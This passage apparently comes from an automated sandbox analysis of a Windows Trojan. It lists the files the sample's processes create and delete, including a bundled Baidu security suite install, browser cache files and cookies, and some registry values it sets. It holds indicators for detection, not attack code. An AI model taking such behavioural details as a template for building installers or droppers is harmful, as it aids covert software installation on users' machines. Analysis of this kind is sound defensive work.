%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\KVMain.rdb (55 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\Mainpage.rdb (3831 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\SafePlugin.rdb (4 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSysFixer\SysFixerConfig.dat (1 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Tips\win8_1_num_5_speed.png (15 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\百度卫士\卸载百度卫士.lnk (796 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\Unknownfile.rdb (48 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\websafe\WebSafe.dll (6428 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\bdmantivirus\CompatibilityChecker.dll (140 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SOTraceCleanerConfig.dat (5 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Tips\win8_1_num_6_speed.png (15 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmtrayplugins\BDMTrayTipsPlugin.dll (7386 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmpatcherplugins\BDMPatcher.dll (5442 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDSWShellExt64.dll (3664 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSysFixer\pluginUnit.dat (727 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\BDMReport.dll.bdl (35046 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BaiduAn\BDMSOCleaner\SOTraceConfig.xml (9 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmtrayplugins\BDMSOAccTrayPlugin.dll (3733 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMTips.exe (3743 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BaiduAn\BaiduAnCache.rptc (552 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\x64\bd0001.sys (160 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmkvscanplugin\BDMKVScanPlugin.dll (3745 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\SOManager.rdb (1741 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSWManager\homepage.ini (361 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmsusplugins\BDMSOAccSusPlugin.dll (3737 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\BDMSOLiveAccDataMgr.dll (168 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\bd0002.dll (1749 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\BDMCoolyPlugins\BDMCoolyContainerConfig.xml (465 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Tips\win8_1_num_4_speed.png (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\System.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\hu.dll (3312 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\patch\publish.db (30058 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\x64\BDArKit.sys (80 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\Patcher.rdb (143 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmpatcherplugins\PatcherContainer.xml (563 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\Pizmdb.7z (188613 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\DriverManager.dll (119 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMSWParseDetect.dll (1613 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSWManager\SWCatalogDataItem.xml (1 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Tips\win8_1_num_8_speed.png (15 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Tips\win8_1_num_7_speed.png (15 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMWindowsLib.dll (99 bytes)
%Documents and Settings%\All Users\Desktop\百度卫士.lnk (811 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\GameNoDisturb.ini (215 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMNet.dll (6392 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmsafeplugins\SafePluginContainerConfig.xml (1 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\sd\BDLogicUtils.dll (3832 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmtrayplugins\BDMSOCleanerTrayPlugin.dll (3757 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\bdmantivirus\BDAVCache.dll (7386 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\EnhanceBoost.dll (275 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\bdmantivirus\systemfile.dat (3 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Tips\win8_1_num_blank_speed.png (14 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Tips\win8_1_num_9_speed.png (15 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\Softmgr.rdb (690 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Tips\win8_1_num_3_speed.png (15 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\BDMSOLiveAccEngine.dll (111 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\x86\BDMNetMon_XP_x86.sys (95 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMReport.dll (5442 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Tips\win8_1_num_0_speed.png (15 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\BDEnhanceBoost.sys (96 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\x86\bd0002.sys (205 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\x64\BDMNetMon_WIN7_x64.sys (109 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\GCCommunicate.dll (28 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\bd0001.dll (131 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Tips\win8_1_second_speed.png (15 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\licenses\duilib license.txt (1 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\BDArKit.sys (601 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\BDKV.rdb (29 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\bdmantivirus\bduf.dll (3823 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMFrameWork.dll (271 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmsafeplugins\BDMPatcherPlugin.dll (7386 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\RTPPlugins\HIPS.dll (7386 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SYSAccMgrDll.dll (3761 bytes)
%System%\drivers\BDArKit.sys (601 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmswmanagerplugins\BDMSWManagerView.dll (7386 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDALeakfixer.exe (7386 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\BDMSOManagerPlugins\BDMSOCleanerPlugin.dll (15801 bytes)
%Documents and Settings%\%current user%\Application Data\Baidu\BDDownload\2015604100\Setting\host.dat (306 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSWManager\sw_extlist.dat (3 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\BDMNetMonMgrDll.dll (62 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SOCleanerConfig.dat (6 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\StartupDict.dat (1783 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\RTPPlugins\RtpContainerConfig.xml (474 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMPatchAgent.dll (37 bytes)

The Trojan deletes the following file(s):

%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers_back\x86\bd0002.sys (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\Pizmdb.7z (0 bytes)
C:\sds (0 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddl.bca.bak (0 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\sd\FileMon.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp (0 bytes)
%Program Files%\Baidu\sds (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh4.tmp (0 bytes)
%Program Files%\Baidu\BaiduAn\sds (0 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddlp.bca (0 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers_back\BDMWrench.sys (0 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\sd\BDLogicUtils.dll (0 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers_back\x86\BDMNetMon_WIN7_x86.sys (0 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers_back\x64 (0 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDDownloader.exe (0 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers_back\x64\bd0002.sys (0 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\BDMNetMon_WIN7_x86.sys (0 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\bg_tips_speed_win8.png (0 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddlp.bca.bak (0 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\sd (0 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers_back (0 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers_back\x86\BDMNetMon_XP_x86.sys (0 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddl.bca (0 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\patch (0 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers_back\BDEnhanceBoost.sys (0 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers_back\x86 (0 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMTips.exe (0 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers_back\x86\BDArKit.sys (0 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers_back\x64\BDMNetMon_WIN7_x64.sys (0 bytes)
%Program Files%\sds (0 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers_back\x64\BDArKit.sys (0 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers_back\x64\bd0001.sys (0 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers_back\x86\bd0001.sys (0 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\patch\publish.db (0 bytes)

The process BDASWAcc.exe:316 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\jquery.min[2].js (6467 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\iepngfix_tilebg[2].js (628 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\iepngfix_tilebg[1].js (105 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\selected_page[1].html (719 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\jquery.min[1].js (6022 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\selected_page[1].htm (10 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\jquery.min[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\iepngfix_tilebg[1].js (0 bytes)

The process Ainqngz5.2.exe:1136 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\core[1].php (751 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\snapshot-game[2].jpg (2563 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\CAJQTKHL.gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\snapshot-game[13].jpg (1404 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\openicon[1].png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\select-normal[1].png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\snapshot-game[2].jpg (554 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\snapshot-game[10].jpg (3658 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\banner-kingston-20140815[1].jpg (27043 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\analytics[2].js (3574 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\snapshot-game[2].jpg (4640 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@hm.baidu[1].txt (164 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\home-hack[1].css (265 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\snapshot-game[5].jpg (4787 bytes)
%Documents and Settings%\%current user%\UserData\YJM90VAL\www.fengyunzhibo[1].xml (478 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\fengyunzhibo[1] (1850 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@web.log.kukuplay[1].txt (244 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\CAQJ8FJ8.gif (35 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\nav-bk[1].png (126 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (6220 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\jquery-1.8.3.min[1].js (62713 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\user-icon[1].png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\gameicon_s[1].png (56 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\default_avatar_s[1].png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\hm[2].js (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\header-v3[2].css (1361 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\select-deep[1].png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\fengyunzhibo[1].htm (2358 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\h[1].js (176 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@cnzz[1].txt (165 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\snapshot-game[4].jpg (76 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\snapshot-game[4].jpg (1144 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\QQͼƬ20140316001047[1].jpg (30227 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\header-v3[2].js (3255 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@mmstat[1].txt (170 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\snapshot-game[3].jpg (585 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.fengyunzhibo[2].txt (355 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\snapshot-game[1].jpg (1511 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\modernizr.custom.72764[2].js (130 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\analytics[1].js (2827 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\VGXC.tmp (56 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\snapshot-game[1].jpg (2274 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\fyminiloader-min[1].js (363 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\DD_belatedPNG_0.0.8a-min[1].js (3814 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\stat[1].gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\box-v3[1].js (3 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@log.kukuplay[2].txt (460 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\snapshot-game[9].jpg (4187 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\snapshot-game[1].jpg (1731 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\atrk[1].js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\CA8D6JGD.gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\hm[3].js (82 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\lib[1].js (778 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\home-v3[1].png (3808 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\CAXPJNAK.gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\box-v3[2].js (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\snapshot-game[4].jpg (3347 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\header-v3[1].css (1106 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\home-v4[1].js (10653 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\snapshot-game[3].jpg (5088 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\snapshot-game[12].jpg (3048 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\home-hack[2].css (446 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\snapshot-game[1].jpg (1384 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\snapshot-game[3].jpg (1176 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\loading[1].gif (8152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\home-v4[1].css (2617 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\snapshot-game[7].jpg (1974 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\snapshot-game[11].jpg (2814 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\zhibo2[1].htm (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\snapshot-game[6].jpg (770 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\header-v3-media[1].css (612 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\fystat.min[1].js (25 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@log.kukuplay[1].txt (228 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\sporticon_s[1].png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\core[1].php (750 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@cnzz.mmstat[1].txt (205 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\stat[1].php (4386 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@fengyunzhibo[2].txt (1186 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\snapshot-game[4].jpg (3096 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\c[1].php (1163 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\report[1].gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\hm[1].js (387 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\snapshot-game[8].jpg (1977 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\fyminiloader-min[2].js (660 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\home-v3[1].png (15800 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\snapshot-game[5].jpg (789 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\header-v3[1].js (1761 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\h[2].js (817 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\json2[1].js (145 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\lib[2].js (2 bytes)
%Documents and Settings%\%current user%\UserData\2Z89WTQV\www.fengyunzhibo[1].xml (266 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\atrk[2].js (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\1pc[1].png (95 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\snapshot-game[3].jpg (42 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@fengyunzhibo[1].txt (1758 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.fengyunzhibo[1].txt (892 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\snapshot-game[5].jpg (2336 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\hyyy_ban[1].png (38404 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\cover_bk[1].png (68 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\CAEJCPMJ.gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\artsicon_s[1].png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\system[1].js (1561 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@tv.aiqingzhihui[1].txt (257 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\banner_bk[1].png (2878 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\modernizr.custom.72764[1].js (76 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\snapshot-game[2].jpg (3371 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\atrk[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\header-v3[1].css (0 bytes)
%Documents and Settings%\%current user%\UserData\2Z89WTQV\www.fengyunzhibo[1].xml (0 bytes)
%Documents and Settings%\%current user%\UserData\2Z89WTQV\www.aaa[1].xml (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\h[1].js (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@fengyunzhibo[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.fengyunzhibo[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.fengyunzhibo[2].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\CAQJ8FJ8.gif (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@log.kukuplay[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\analytics[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\home-hack[1].css (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\fyminiloader-min[1].js (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@fengyunzhibo[2].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\report[1].gif (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\box-v3[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\hm[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\modernizr.custom.72764[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\header-v3[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\CA8D6JGD.gif (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\lib[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\CAXPJNAK.gif (0 bytes)

Registry activity

The process wwwww_3340.exe:3720 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "93 DC D5 20 F6 C6 7F DD C1 32 A2 7D 66 5F 1B 86"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
